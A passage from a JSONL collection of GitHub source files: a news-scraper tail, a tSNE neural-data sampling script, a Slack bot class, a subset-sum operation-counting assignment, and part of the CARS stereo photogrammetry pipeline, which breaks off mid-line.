source,\n 'date': publication\n }\n collection.update_one(document, {'$set': document}, upsert=True)\n\n\nif __name__ == '__main__':\n client = pymongo.MongoClient('localhost', 27017)\n db = client.news\n\n get_yavdex_news(db)\n print('Documents in collection: ', db.yandex_news.count_documents({}))\n\n result = db.yandex_news.find({})\n for doc in result:\n pprint(doc)\n\n # Удаление БД:\n # client.drop_database('news')\n","repo_name":"sevgenn/information","sub_path":"lesson_04/task_4.py","file_name":"task_4.py","file_ext":"py","file_size_in_byte":3050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"739081845","text":"\n\nfrom os.path import join\nimport numpy as np\nfrom spikesorting_tsne import io_with_cpp as tsne_io\n\n# -------------------------------------------------\n# \n\n\n# -------------------------------------------------\n# \n\nbrain_tsne = tsne_io.load_tsne_result(brain_tsne_results_folder)\nbehaviour_tsne = tsne_io.load_tsne_result(behaviour_tsne_results_folder)\n\n\ndef sample_data(frames_per_packet, batch_size, start_frame_for_period=0, batch_step=1):\n\n X_buffer = np.empty(shape=(batch_size, 2*frames_per_packet + 2))\n #X_buffer = np.empty(shape=(batch_size, 2 * frames_per_packet))\n Y_buffer = np.empty(shape=(batch_size, 2))\n\n for i in np.arange(start_frame_for_period, batch_size, batch_step):\n\n tsne_behaviour_start = behaviour_tsne[i-600]\n tsne_behaviour_end = behaviour_tsne[i]\n brain = brain_tsne[i-frames_per_packet:i, :].flatten()\n\n X_buffer[i, :] = np.concatenate((brain, tsne_behaviour_start))\n #X_buffer[i, :] = brain\n Y_buffer[i, :] = tsne_behaviour_end\n\n np.save(join(save_data_folder, 'X_buffer_120b_600i.npy'), X_buffer)\n np.save(join(save_data_folder, 'Y_buffer_120b_600i.npy'), Y_buffer)\n\n return X_buffer, Y_buffer\n\nframes_per_packet = int(10 * 120)\nbatch_step = 1\nbatch_size = num_of_frames\n\n# Data set that will allow TimeSeriesSplit (with n=10) with a 2 frame jump and 108K samples (so that a 1/10 chunk has 10K samples in it)\nsample_data(frames_per_packet=frames_per_packet, batch_size=batch_size,\n start_frame_for_period=frames_per_packet, batch_step=batch_step)\n\n# \n\n\n# -------------------------------------------------\n# \nif False:\n import slider as sl\n\n headers = np.load(join(save_data_folder, 'binary_headers.npz'), allow_pickle=True)\n X = np.memmap(join(save_data_folder, \"X_buffer.npy\"), dtype=headers['dtype'][0], shape=tuple(headers['shape_X']))\n Y = np.memmap(join(save_data_folder, \"Y_buffer.npy\"), dtype=headers['dtype'][0], shape=tuple(headers['shape_Y']))\n\n def show_X(f):\n a1.cla()\n a2.cla()\n a3.cla()\n\n d = X[f]\n d_bin = np.argwhere(d>0)\n a1.scatter(d_bin[:,0], d_bin[:,1],s=3)\n a1.set_title('Brain')\n\n im_before = Y[f, 0, :, :]\n a2.imshow(im_before)\n a2.set_title('Image Before')\n\n im_after = Y[f, 1, :, :]\n a3.imshow(im_after)\n a3.set_title('Image After')\n\n\n fig1 = plt.figure(0)\n a1 = fig1.add_subplot(111)\n\n fig2 = plt.figure(1)\n a2 = fig2.add_subplot(111)\n\n fig3 = plt.figure(2)\n a3 = fig3.add_subplot(111)\n\n out = None\n f=0\n\n sl.connect_repl_var(globals(),'f', 'out', 'show_X', slider_limits=[0, X.shape[0]-1])\n# \n","repo_name":"georgedimitriadis/themeaningofbrain","sub_path":"ExperimentSpecificCode/_2018_Chronic_Neuroseeker_TouchingLight/_2018_04_AK_33p1/NNs/Used_code/load_Tsne_and_Tsne.py","file_name":"load_Tsne_and_Tsne.py","file_ext":"py","file_size_in_byte":3654,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"16058021152","text":"### MODULE IMPORTS\n# 3rd-party imports\nimport os \nimport time \nfrom slackclient import SlackClient \nfrom dotenv import load_dotenv, find_dotenv\n\n# local imports\nimport event \n\n# expose local environment constants\nload_dotenv(find_dotenv())\n\n\nclass Bot(object):\n \n def __init__(self):\n \"\"\"\n method constructor to initialize the Bot class\n \"\"\"\n # collect service agent info\n self.BOT_NAME = os.environ.get('SLACK_BOT_NAME')\n self.BOT_TOKEN = os.environ.get('SLACK_BOT_TOKEN')\n\n print(self.BOT_NAME)\n \n self.slack_client = SlackClient(self.BOT_TOKEN)\n self.bot_name = self.BOT_NAME \n self.bot_id = self.get_bot_id()\n\n if self.bot_id is None:\n exit(\"Error, could not locate \" + self.bot_name)\n \n self.event = event.Event(self)\n self.listen()\n \n def get_bot_id(self):\n \"\"\"\n collects the bot_id from the response from the 'members' endpoint\n obtained by an api call made to 'users.list'\n \"\"\"\n api_call = self.slack_client.api_call('users.list')\n if api_call.get('ok'):\n # extract bot info from list of users\n users = api_call.get('members')\n for user in users:\n if 'name' in user and user.get('name') == self.bot_name:\n return '<@' + user.get('id') + '>'\n return None\n \n def listen(self):\n if self.slack_client.rtm_connect(with_team_state=False):\n print(\"CE Bot connected and listening in!\")\n\n while True:\n self.event.wait_for_event()\n time.sleep(1)\n else:\n exit(\"Error: Connection Failed!!\")\n\n","repo_name":"ozzieD/rally_slackbot","sub_path":"src/bot.py","file_name":"bot.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"3096823807","text":"\"\"\"\nName: Robert Moore\nStudent Number: 10179621\n\nI certify that this submission contains my own work, except as noted.\n\n\"\"\"\n\nfrom tqdm import tqdm\nimport random\nimport math\nimport matplotlib.pyplot as plt\nfrom statistics import mean\n\n\nclass Set:\n def __init__(self, elements):\n '''sets have two attributes, elements and the sum of those elements'''\n self.elements = elements\n self.sum = sum(self.elements)\n\n def __lt__(self,other):\n '''compare sets based on their sum'''\n return self.sum < other.sum\n\n def __add__(self,other):\n return self.elements + other.elements\n\ndef main():\n '''Program to find if there is a subset of a list that sums to a value k\n using both the Brute Force and Ignorance(BFI) approach and the Horowitz\n and Sahni, devide and conqure approach. it counts the number of operations\n each preforms'''\n\n #Testing structure given by Robin Dawes.\n n_values = []\n BFI_ops_ave = []\n HS_ops_ave = []\n BFI_bigo = []\n HS_bigo = []\n for n in tqdm(range(4, 16)): #set sizes\n BFI_res = []\n HS_res = []\n for i in range(1, 20): #20 tests per set size\n S_test = [random.randint(1,50) for x in range(n)]\n targets = [random.randint(0, 200) for y in range(10)]\n BFI_temp = []\n HS_temp = []\n for t in targets:\n BFI_temp.append(BFI_subset_sum_ops(S_test,t))\n HS_temp.append(horowitz_sahni_ops(S_test,t))\n BFI_res.append(mean(BFI_temp))\n HS_res.append(mean(HS_temp))\n n_values.append(n)\n BFI_ops_ave.append(mean(BFI_res))\n HS_ops_ave.append(mean(HS_res))\n BFI_bigo.append(2**n)\n HS_bigo.append(n*(2**(n/2)))\n\n plt.subplot(1, 2, 1)\n plt.plot(n_values, BFI_ops_ave, 'b', label='BFI Operations')\n plt.plot(n_values, BFI_bigo, 'r--', label='O(2^n)')\n plt.legend()\n plt.xlabel('n')\n plt.ylabel('Operations')\n\n print(len(n_values))\n print(len(HS_ops_ave))\n\n plt.subplot(1, 2, 2)\n plt.plot(n_values, HS_ops_ave, 'b', label='h & S Operations')\n plt.plot(n_values, HS_bigo, 'r--', label='O(n*2^(n/2))')\n plt.legend()\n plt.xlabel('n')\n plt.ylabel('Operations')\n plt.show()\n\n\ndef BFI_subset_sum_ops(S,k):\n '''This is an implementation of the brute force and ignorance approach to\n the subset sum problem. Structure of algorithm given by Robin Dawes in\n pseudo code. Inputs are:\n :param S: = list of elements\n :param k: = target sum\n '''\n ops = 0 #set operations counter to 0\n subsets = []\n empty_set = Set([])\n subsets.append(empty_set)\n\n\n '''Iterate through all existing subsets and create a new subset withone one\n more element from the list'''\n for element in S:\n new_subsets = []\n for old_sub in subsets:\n new_elements = old_sub.elements.copy()\n ops += 1 #copy list of elements\n\n #add new element to every subset creating new subset\n new_elements.append(element)\n ops += 1 #append new element to list\n\n new_sub = Set(new_elements)\n ops += 1#create new subset\n\n #check if we have found a subset that satesfies the requirements\n if new_sub.sum == k:\n return ops\n ops += 1 #comparing values\n\n #add new subsets to subset list\n new_subsets.append(old_sub)\n ops += 1 #moving data\n new_subsets.append(new_sub)\n ops += 1 #moving data\n subsets = new_subsets\n ops += 1 #moving data\n\n #if you reach the end of this loop it means there is no solution\n return ops\n\n\ndef horowitz_sahni_ops(S,k):\n '''This is an implementation of the Horowitz and Sahni approach to\n the subset sum problem. Structure of algorithm given by Robin Dawes in pseudo\n code. Inputs are:\n :param S: = list of elements\n :param k: = target sum\n '''\n ops = 0 #set operations counter to 0\n\n #split elements into left and right\n S_left = S[:len(S)//2]\n ops += 1 #accessing and moving data\n S_right = S[len(S)//2:]\n ops += 1 #accessing and moving data\n\n #find all subsets of these two lists\n subsets_left, ops_left= BFI_subsets_mod_ops(S_left)\n subsets_right, ops_right = BFI_subsets_mod_ops(S_right)\n ops = ops + ops_left + ops_right\n\n #check if there is a subset if left or right that sums to the target\n for subset in subsets_left:\n ops += 1 #comparing values\n if subset.sum == k:\n return ops\n for subset in subsets_left:\n ops += 1 #comparing values\n if subset.sum == k:\n return ops\n\n #sort both subset lists based on sum\n subsets_left.sort()\n ops += (3*len(subsets_left)*(math.log(len(subsets_left))))\n subsets_right.sort()\n ops += (3*len(subsets_right)*(math.log(len(subsets_right))))\n\n #compare pairwise sum of both left and right sets\n return pair_sum_ops(subsets_left, subsets_right, k)\n\n\ndef BFI_subsets_mod_ops(S):\n '''This is a modified BFI approach to the subset sum problem. It returns\n the list of subsets but not checking for a target sum. Structure of\n algorithm given by Robin Dawes in pseudo code. Inputs are:\n :param S: = list of elements\n '''\n ops = 0 #seting ops to 0\n subsets = []\n empty_set = Set([])\n subsets.append(empty_set)\n\n '''iterate through all existing subsets and create a new subset with one\n more element from the list'''\n for element in S:\n new_subsets = []\n\n for old_sub in subsets:\n new_elements = old_sub.elements.copy()\n ops += 1 #accessing old_sub\n\n #add new element to every subset creating new subset\n new_elements.append(element)\n ops += 1 #adding new element\n\n new_sub = Set(new_elements)\n\n #add new subsets to subset list\n new_subsets.append(old_sub)\n ops += 1 #moving data\n new_subsets.append(new_sub)\n ops += 1 #moving data\n\n subsets = new_subsets\n ops += 1 #moving data\n\n #return array of all subsets if sum not found\n return subsets, ops\n\n\ndef pair_sum_ops(s_left, s_right, k):\n '''pairwise sum of two sorted lists. Structure of algorithm given by\n Robin Dawes in pseudo code. Inputs are:\n :param s_left: = sorted half of full list\n :param s_right: = sorted other half of full list\n '''\n ops = 0 #set operations to 0\n i = 0\n j = len(s_right)-1\n\n #increment from left and right untill sum is found or one list is empty\n while i < len(s_left) and j >= 0:\n temp = s_left[i].sum + s_right[j].sum\n ops += 1 #accessing data\n ops += 1 #comparing data\n if temp == k: #check if sum equals target\n final = s_left[i] + s_right[j]\n return ops\n elif temp < k:#if too small take one higher from s_left\n i += 1\n else:#if too big take one smaller from s_right\n j -= 1\n ops += 1 #comparing data\n\n\n return ops\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"robertfmoore/CMPE_365","sub_path":"assignment2/10179621_subset_sum/part2/subset_sum_op_count.py","file_name":"subset_sum_op_count.py","file_ext":"py","file_size_in_byte":7119,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16922041015","text":"from __future__ import print_function\n\nimport json\nimport logging\nimport os\n\nimport numpy as np\nfrom pyproj import CRS\n\n# CARS imports\nfrom cars import __version__\nfrom cars.applications.application import Application\nfrom cars.applications.dem_generation import (\n dem_generation_constants as dem_gen_cst,\n)\nfrom cars.applications.dem_generation import dem_generation_tools\nfrom cars.applications.grid_generation import grid_correction\nfrom cars.applications.sparse_matching import (\n sparse_matching_tools as sparse_mtch_tools,\n)\nfrom cars.core import cars_logging, preprocessing, roi_tools\nfrom cars.core.geometry.abstract_geometry import AbstractGeometry\nfrom cars.core.inputs import get_descriptions_bands\nfrom cars.core.utils import safe_makedirs\nfrom cars.data_structures import cars_dataset\nfrom cars.orchestrator import orchestrator\nfrom cars.pipelines.pipeline import Pipeline\nfrom cars.pipelines.pipeline_constants import (\n APPLICATIONS,\n GEOMETRY_PLUGIN,\n INPUTS,\n ORCHESTRATOR,\n OUTPUT,\n PIPELINE,\n)\nfrom cars.pipelines.pipeline_template import PipelineTemplate\nfrom cars.pipelines.sensor_to_dense_dsm import dsm_output\nfrom cars.pipelines.sensor_to_dense_dsm import (\n sensor_dense_dsm_constants as sens_cst,\n)\nfrom cars.pipelines.sensor_to_dense_dsm import sensors_inputs\n\n\n@Pipeline.register(\"sensors_to_dense_dsm\", \"sensors_to_dense_point_clouds\")\nclass SensorToDenseDsmPipeline(PipelineTemplate):\n \"\"\"\n SensorToDenseDsmPipeline\n \"\"\"\n\n # pylint: disable=too-many-instance-attributes\n\n def __init__(self, conf, config_json_dir=None):\n \"\"\"\n Creates pipeline\n\n :param pipeline_name: name of the pipeline.\n :type pipeline_name: str\n :param cfg: configuration {'matching_cost_method': value}\n :type cfg: dictionary\n :param config_json_dir: path to dir containing json\n :type config_json_dir: str\n \"\"\"\n\n # Used conf\n self.used_conf = {}\n\n # Pipeline\n self.used_conf[PIPELINE] = conf.get(PIPELINE, \"sensors_to_dense_dsm\")\n\n self.generate_terrain_products = True\n # set json pipeline file\n if self.used_conf[PIPELINE] == \"sensors_to_dense_dsm\":\n json_conf_file_name = \"sensor_to_dense_dsm.json\"\n else:\n json_conf_file_name = \"sensor_to_pc.json\"\n self.generate_terrain_products = False\n\n # Merge parameters from associated json\n # priority : cars_pipeline.json << user_inputs.json\n # Get root package directory\n package_path = os.path.dirname(__file__)\n json_file = os.path.join(\n package_path,\n \"..\",\n \"conf_pipeline\",\n json_conf_file_name,\n )\n with open(json_file, \"r\", encoding=\"utf8\") as fstream:\n pipeline_config = json.load(fstream)\n\n self.conf = self.merge_pipeline_conf(pipeline_config, conf)\n\n # check global conf\n self.check_global_schema(self.conf)\n\n # Check conf orchestrator\n self.orchestrator_conf = self.check_orchestrator(\n self.conf.get(ORCHESTRATOR, None)\n )\n self.used_conf[ORCHESTRATOR] = self.orchestrator_conf\n\n # Check conf inputs\n self.inputs = self.check_inputs(\n self.conf[INPUTS], config_json_dir=config_json_dir\n )\n\n # Check geometry plugin and overwrite geomodel in conf inputs\n (\n self.inputs,\n self.used_conf[GEOMETRY_PLUGIN],\n self.geom_plugin_without_dem_and_geoid,\n self.geom_plugin_with_dem_and_geoid,\n ) = sensors_inputs.check_geometry_plugin(\n self.inputs, self.conf.get(GEOMETRY_PLUGIN, None)\n )\n self.used_conf[INPUTS] = self.inputs\n\n # Get ROI\n (\n self.input_roi_poly,\n self.input_roi_epsg,\n ) = roi_tools.generate_roi_poly_from_inputs(\n self.used_conf[INPUTS][sens_cst.ROI]\n )\n\n self.debug_with_roi = self.used_conf[INPUTS][sens_cst.DEBUG_WITH_ROI]\n\n # Check conf output\n self.output = self.check_output(self.conf[OUTPUT])\n self.used_conf[OUTPUT] = self.output\n\n # Check conf application\n self.application_conf = self.check_applications(\n self.conf.get(APPLICATIONS, {}), self.generate_terrain_products\n )\n self.used_conf[APPLICATIONS] = self.application_conf\n\n # Check conf application vs inputs application\n self.check_inputs_with_applications(self.inputs, self.application_conf)\n\n @staticmethod\n def check_inputs(conf, config_json_dir=None):\n \"\"\"\n Check the inputs given\n\n :param conf: configuration of inputs\n :type conf: dict\n :param config_json_dir: directory of used json, if\n user filled paths with relative paths\n :type config_json_dir: str\n\n :return: overloader inputs\n :rtype: dict\n \"\"\"\n return sensors_inputs.sensors_check_inputs(\n conf, config_json_dir=config_json_dir\n )\n\n @staticmethod\n def check_output(conf):\n \"\"\"\n Check the output given\n\n :param conf: configuration of output\n :type conf: dict\n\n :return overloader output\n :rtype : dict\n \"\"\"\n return dsm_output.dense_dsm_check_output(conf)\n\n def check_applications(self, conf, generate_terrain_products):\n \"\"\"\n Check the given configuration for applications,\n and generates needed applications for pipeline.\n\n :param conf: configuration of applications\n :type conf: dict\n :param generate_terrain_products: true if uses point cloud\n fusion, pc removing, rasterization\n :type generate_terrain_products: bool\n \"\"\"\n\n # Check if all specified applications are used\n # Application in terrain_application are note used in\n # the sensors_to_dense_point_clouds pipeline\n needed_applications = [\n \"grid_generation\",\n \"resampling\",\n \"holes_detection\",\n \"dense_matches_filling.1\",\n \"dense_matches_filling.2\",\n \"sparse_matching\",\n \"dense_matching\",\n \"triangulation\",\n \"dem_generation\",\n ]\n\n terrain_applications = [\n \"point_cloud_fusion\",\n \"point_cloud_rasterization\",\n \"point_cloud_outliers_removing.1\",\n \"point_cloud_outliers_removing.2\",\n ]\n\n pipeline_name = \"sensors_to_dense_point_clouds\"\n if generate_terrain_products:\n needed_applications += terrain_applications\n pipeline_name = \"sensors_to_dense_dsm\"\n\n # Initialize used config\n used_conf = {}\n for app_key in conf.keys():\n if app_key not in needed_applications:\n logging.error(\n \"No {} application used in pipeline {}\".format(\n app_key, pipeline_name\n )\n )\n raise NameError(\n \"No {} application used in pipeline {}\".format(\n app_key, pipeline_name\n )\n )\n\n # Epipolar grid generation\n self.epipolar_grid_generation_application = Application(\n \"grid_generation\", cfg=conf.get(\"grid_generation\", {})\n )\n used_conf[\"grid_generation\"] = (\n self.epipolar_grid_generation_application.get_conf()\n )\n\n # image resampling\n self.resampling_application = Application(\n \"resampling\", cfg=conf.get(\"resampling\", {})\n )\n used_conf[\"resampling\"] = self.resampling_application.get_conf()\n\n # holes detection\n self.holes_detection_app = Application(\n \"holes_detection\", cfg=conf.get(\"holes_detection\", {})\n )\n used_conf[\"holes_detection\"] = self.holes_detection_app.get_conf()\n\n # disparity filling 1 plane\n self.dense_matches_filling_1 = Application(\n \"dense_matches_filling\",\n cfg=conf.get(\n \"dense_matches_filling.1\",\n {\"method\": \"plane\"},\n ),\n )\n used_conf[\"dense_matches_filling.1\"] = (\n self.dense_matches_filling_1.get_conf()\n )\n\n # disparity filling 2\n self.dense_matches_filling_2 = Application(\n \"dense_matches_filling\",\n cfg=conf.get(\n \"dense_matches_filling.2\",\n {\"method\": \"zero_padding\"},\n ),\n )\n used_conf[\"dense_matches_filling.2\"] = (\n self.dense_matches_filling_2.get_conf()\n )\n\n # Sparse Matching\n self.sparse_mtch_app = Application(\n \"sparse_matching\", cfg=conf.get(\"sparse_matching\", {})\n )\n used_conf[\"sparse_matching\"] = self.sparse_mtch_app.get_conf()\n\n # Matching\n self.dense_matching_app = Application(\n \"dense_matching\", cfg=conf.get(\"dense_matching\", {})\n )\n used_conf[\"dense_matching\"] = self.dense_matching_app.get_conf()\n\n # Triangulation\n self.triangulation_application = Application(\n \"triangulation\", cfg=conf.get(\"triangulation\", {})\n )\n used_conf[\"triangulation\"] = self.triangulation_application.get_conf()\n\n # MNT generation\n self.dem_generation_application = Application(\n \"dem_generation\", cfg=conf.get(\"dem_generation\", {})\n )\n used_conf[\"dem_generation\"] = self.dem_generation_application.get_conf()\n\n if generate_terrain_products:\n # Points cloud fusion\n self.pc_fusion_application = Application(\n \"point_cloud_fusion\", cfg=conf.get(\"point_cloud_fusion\", {})\n )\n used_conf[\"point_cloud_fusion\"] = (\n self.pc_fusion_application.get_conf()\n )\n\n # Points cloud outlier removing small components\n self.pc_outliers_removing_1_app = Application(\n \"point_cloud_outliers_removing\",\n cfg=conf.get(\n \"point_cloud_outliers_removing.1\",\n {\"method\": \"small_components\"},\n ),\n )\n used_conf[\"point_cloud_outliers_removing.1\"] = (\n self.pc_outliers_removing_1_app.get_conf()\n )\n\n # Points cloud outlier removing statistical\n self.pc_outliers_removing_2_app = Application(\n \"point_cloud_outliers_removing\",\n cfg=conf.get(\n \"point_cloud_outliers_removing.2\",\n {\"method\": \"statistical\"},\n ),\n )\n used_conf[\"point_cloud_outliers_removing.2\"] = (\n self.pc_outliers_removing_2_app.get_conf()\n )\n\n # Rasterization\n self.rasterization_application = Application(\n \"point_cloud_rasterization\",\n cfg=conf.get(\"point_cloud_rasterization\", {}),\n )\n used_conf[\"point_cloud_rasterization\"] = (\n self.rasterization_application.get_conf()\n )\n else:\n # Points cloud fusion\n self.pc_fusion_application = None\n # Points cloud outlier removing small components\n self.pc_outliers_removing_1_app = None\n # Points cloud outlier removing statistical\n self.pc_outliers_removing_2_app = None\n # Rasterization\n self.rasterization_application = None\n\n return used_conf\n\n @staticmethod\n def check_inputs_with_applications(inputs_conf, application_conf):\n \"\"\"\n Check for each application the input configuration consistency\n\n :param inputs_conf: inputs checked configuration\n :type inputs_conf: dict\n :param application_conf: application checked configuration\n :type application_conf: dict\n \"\"\"\n\n if \"epsg\" in inputs_conf and inputs_conf[\"epsg\"]:\n spatial_ref = CRS.from_epsg(inputs_conf[\"epsg\"])\n if spatial_ref.is_geographic:\n if (\n \"point_cloud_rasterization\" in application_conf\n and application_conf[\"point_cloud_rasterization\"][\n \"resolution\"\n ]\n > 10e-3\n ) or \"point_cloud_rasterization\" not in application_conf:\n logging.warning(\n \"The resolution of the \"\n + \"point_cloud_rasterization should be \"\n + \"fixed according to the epsg\"\n )\n\n # check classification application parameter compare\n # to each sensors inputs classification list\n for application_key in application_conf:\n if \"classification\" in application_conf[application_key]:\n for item in inputs_conf[\"sensors\"]:\n if \"classification\" in inputs_conf[\"sensors\"][item].keys():\n if inputs_conf[\"sensors\"][item][\"classification\"]:\n descriptions = get_descriptions_bands(\n inputs_conf[\"sensors\"][item][\"classification\"]\n )\n if application_conf[application_key][\n \"classification\"\n ] and not set(\n application_conf[application_key][\n \"classification\"\n ]\n ).issubset(\n set(descriptions)\n ):\n raise RuntimeError(\n \"The {} bands description {} \".format(\n inputs_conf[\"sensors\"][item][\n \"classification\"\n ],\n list(descriptions),\n )\n + \"and the {} config are not \".format(\n application_key\n )\n + \"consistent: {}\".format(\n application_conf[application_key][\n \"classification\"\n ]\n )\n )\n\n def run(self): # noqa C901\n \"\"\"\n Run pipeline\n\n \"\"\"\n\n out_dir = self.output[\"out_dir\"]\n cars_logging.add_log_file(out_dir, \"sensor_to_dense_dsm\")\n\n # Save used conf\n cars_dataset.save_dict(\n self.used_conf,\n os.path.join(out_dir, \"used_conf.json\"),\n safe_save=True,\n )\n\n # start cars orchestrator\n with orchestrator.Orchestrator(\n orchestrator_conf=self.orchestrator_conf,\n out_dir=out_dir,\n out_json_path=os.path.join(\n out_dir, self.output[sens_cst.INFO_BASENAME]\n ),\n ) as cars_orchestrator:\n # initialize out_json\n cars_orchestrator.update_out_info(\n {\n \"version\": __version__,\n \"pipeline\": \"sensor_to_dense_dsm_pipeline\",\n \"inputs\": self.inputs,\n }\n )\n\n # Run applications\n\n # Initialize epsg for terrain tiles\n epsg = self.inputs[sens_cst.EPSG]\n if epsg is not None:\n # Compute roi polygon, in input EPSG\n roi_poly = preprocessing.compute_roi_poly(\n self.input_roi_poly, self.input_roi_epsg, epsg\n )\n\n # List of terrain roi corresponding to each epipolar pair\n # Used to generate final terrain roi\n list_terrain_roi = []\n\n # initialise lists of points\n list_epipolar_points_cloud = []\n list_sensor_pairs = sensors_inputs.generate_inputs(\n self.inputs, self.geom_plugin_without_dem_and_geoid\n )\n logging.info(\n \"Received {} stereo pairs configurations\".format(\n len(list_sensor_pairs)\n )\n )\n\n # pairs is a dict used to store the CarsDataset of\n # all pairs, easily retrievable with pair keys\n pairs = {}\n\n # triangulated_matches_list is used to store triangulated matche\n # used in dem generation\n triangulated_matches_list = []\n\n for (\n pair_key,\n sensor_image_left,\n sensor_image_right,\n ) in list_sensor_pairs:\n # Create Pair folder\n pair_folder = os.path.join(out_dir, pair_key)\n safe_makedirs(pair_folder)\n tmp_dir = os.path.join(pair_folder, \"tmp\")\n safe_makedirs(tmp_dir)\n cars_orchestrator.add_to_clean(tmp_dir)\n\n # initialize pairs for current pair\n pairs[pair_key] = {}\n pairs[pair_key][\"pair_folder\"] = pair_folder\n pairs[pair_key][\"sensor_image_left\"] = sensor_image_left\n pairs[pair_key][\"sensor_image_right\"] = sensor_image_right\n\n # Run applications\n\n # Run grid generation\n # We generate grids with dem if it is provided.\n # If not provided, grid are generated without dem and a dem\n # will be generated, to use later for a new grid generation**\n\n if self.inputs[sens_cst.INITIAL_ELEVATION] is None:\n geom_plugin = self.geom_plugin_without_dem_and_geoid\n else:\n geom_plugin = self.geom_plugin_with_dem_and_geoid\n\n # Generate rectification grids\n (\n pairs[pair_key][\"grid_left\"],\n pairs[pair_key][\"grid_right\"],\n ) = self.epipolar_grid_generation_application.run(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n geom_plugin,\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n\n # Run holes detection\n # Get classif depending on which filling is used\n # For now, 2 filling application can be used, and be configured\n # with any order. the .1 will be performed before the .2\n pairs[pair_key][\"holes_classif\"] = []\n pairs[pair_key][\"holes_poly_margin\"] = 0\n if self.dense_matches_filling_1.used_method == \"plane\":\n pairs[pair_key][\n \"holes_classif\"\n ] += self.dense_matches_filling_1.get_classif()\n pairs[pair_key][\"holes_poly_margin\"] = max(\n pairs[pair_key][\"holes_poly_margin\"],\n self.dense_matches_filling_1.get_poly_margin(),\n )\n if self.dense_matches_filling_2.used_method == \"plane\":\n pairs[pair_key][\n \"holes_classif\"\n ] += self.dense_matches_filling_2.get_classif()\n pairs[pair_key][\"holes_poly_margin\"] = max(\n pairs[pair_key][\"holes_poly_margin\"],\n self.dense_matches_filling_2.get_poly_margin(),\n )\n\n pairs[pair_key][\"holes_bbox_left\"] = []\n pairs[pair_key][\"holes_bbox_right\"] = []\n\n if self.used_conf[INPUTS][\"use_epipolar_a_priori\"] is False or (\n len(pairs[pair_key][\"holes_classif\"]) > 0\n ):\n # Run resampling only if needed:\n # no a priori or needs to detect holes\n\n # Run epipolar resampling\n (\n pairs[pair_key][\"epipolar_image_left\"],\n pairs[pair_key][\"epipolar_image_right\"],\n ) = self.resampling_application.run(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"grid_left\"],\n pairs[pair_key][\"grid_right\"],\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n margins_fun=self.sparse_mtch_app.get_margins_fun(),\n add_color=False,\n )\n\n # Generate the holes polygons in epipolar images\n # They are only generated if dense_matches_filling\n # applications are used later\n (\n pairs[pair_key][\"holes_bbox_left\"],\n pairs[pair_key][\"holes_bbox_right\"],\n ) = self.holes_detection_app.run(\n pairs[pair_key][\"epipolar_image_left\"],\n pairs[pair_key][\"epipolar_image_right\"],\n classification=pairs[pair_key][\"holes_classif\"],\n margin=pairs[pair_key][\"holes_poly_margin\"],\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n\n if self.used_conf[INPUTS][\"use_epipolar_a_priori\"] is False:\n # Run epipolar sparse_matching application\n (\n pairs[pair_key][\"epipolar_matches_left\"],\n _,\n ) = self.sparse_mtch_app.run(\n pairs[pair_key][\"epipolar_image_left\"],\n pairs[pair_key][\"epipolar_image_right\"],\n pairs[pair_key][\"grid_left\"].attributes[\n \"disp_to_alt_ratio\"\n ],\n orchestrator=cars_orchestrator,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n )\n\n # Run cluster breakpoint to compute sifts: force computation\n cars_orchestrator.breakpoint()\n\n # Run grid correction application\n save_corrected_grid = (\n self.epipolar_grid_generation_application.save_grids\n )\n if self.used_conf[INPUTS][\"use_epipolar_a_priori\"] is False:\n # Estimate grid correction if no epipolar a priori\n # Filter matches\n pairs[pair_key][\"matches_array\"] = (\n self.sparse_mtch_app.filter_matches(\n pairs[pair_key][\"epipolar_matches_left\"],\n orchestrator=cars_orchestrator,\n pair_key=pair_key,\n pair_folder=pairs[pair_key][\"pair_folder\"],\n save_matches=(\n self.sparse_mtch_app.get_save_matches()\n ),\n )\n )\n\n # Compute grid correction\n (\n pairs[pair_key][\"grid_correction_coef\"],\n pairs[pair_key][\"corrected_matches_array\"],\n _,\n _,\n _,\n ) = grid_correction.estimate_right_grid_correction(\n pairs[pair_key][\"matches_array\"],\n pairs[pair_key][\"grid_right\"],\n save_matches=self.sparse_mtch_app.get_save_matches(),\n pair_folder=pairs[pair_key][\"pair_folder\"],\n pair_key=pair_key,\n orchestrator=cars_orchestrator,\n )\n\n # Correct grid right\n pairs[pair_key][\"corrected_grid_right\"] = (\n grid_correction.correct_grid(\n pairs[pair_key][\"grid_right\"],\n pairs[pair_key][\"grid_correction_coef\"],\n save_corrected_grid,\n pairs[pair_key][\"pair_folder\"],\n )\n )\n\n pairs[pair_key][\"corrected_grid_left\"] = pairs[pair_key][\n \"grid_left\"\n ]\n\n # Triangulate matches\n pairs[pair_key][\"triangulated_matches\"] = (\n dem_generation_tools.triangulate_sparse_matches(\n pairs[pair_key][\"sensor_image_left\"],\n pairs[pair_key][\"sensor_image_right\"],\n pairs[pair_key][\"grid_left\"],\n pairs[pair_key][\"corrected_grid_right\"],\n pairs[pair_key][\"corrected_matches_array\"],\n geom_plugin,\n )\n )\n\n # filter triangulated_matches\n matches_filter_knn = (\n self.sparse_mtch_app.get_matches_filter_knn()\n )\n matches_filter_dev_factor = (\n self.sparse_mtch_app.get_matches_filter_dev_factor()\n )\n pairs[pair_key][\"filtered_triangulated_matches\"] = (\n sparse_mtch_tools.filter_point_cloud_matches(\n pairs[pair_key][\"triangulated_matches\"],\n matches_filter_knn=matches_filter_knn,\n matches_filter_dev_factor=matches_filter_dev_factor,\n )\n )\n\n triangulated_matches_list.append(\n pairs[pair_key][\"filtered_triangulated_matches\"]\n )\n\n if 